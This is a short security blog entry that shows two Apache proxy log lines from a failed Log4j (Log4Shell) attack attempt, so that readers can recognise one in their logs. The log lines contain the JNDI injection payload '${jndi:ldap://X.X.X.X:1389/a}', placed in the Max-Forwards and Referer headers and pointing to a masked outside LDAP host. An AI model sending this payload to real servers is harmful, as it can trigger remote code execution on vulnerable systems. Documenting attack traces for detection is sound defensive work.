- How does a Fail Log4J Attack look in Logfiles - E.169

How does a Fail Log4J Attack look in Logfiles

Category: Penetration-Testing

Sub-Category:

Creator: Jan-Maurice Dahlmanns

Created: 2022-01-29 22:55:42

Modified: 2024-11-17 04:01:50

Views: 474

Caution: I do not guarantee the reliability of the information given here, the code described on this page is executed at your own risk and in the event of damage or other unforeseeable consequences I am in no way responsible or liable.

[Fri Jan 28 03:42:04.636333 2022] [proxy:warn] [pid 30819] [client 98.0.242.10:46192] AH10188: Max-Forwards value '${jndi:ldap://X.X.X.X:1389/a}' could not be parsed, referer: ${jndi:ldap://X.X.X.X:1389/a}
[Fri Jan 28 03:42:04.636394 2022] [proxy:error] [pid 30819] [client 98.0.242.10:46192] AH00898: Max-Forwards request header could not be parsed returned by /index.php, referer: ${jndi:ldap://X.X.X.X:1389/a}

Image for Thumbnail:

System - 2024-11-04 23:39:35

Commenting System Initialized! Have a very nice day!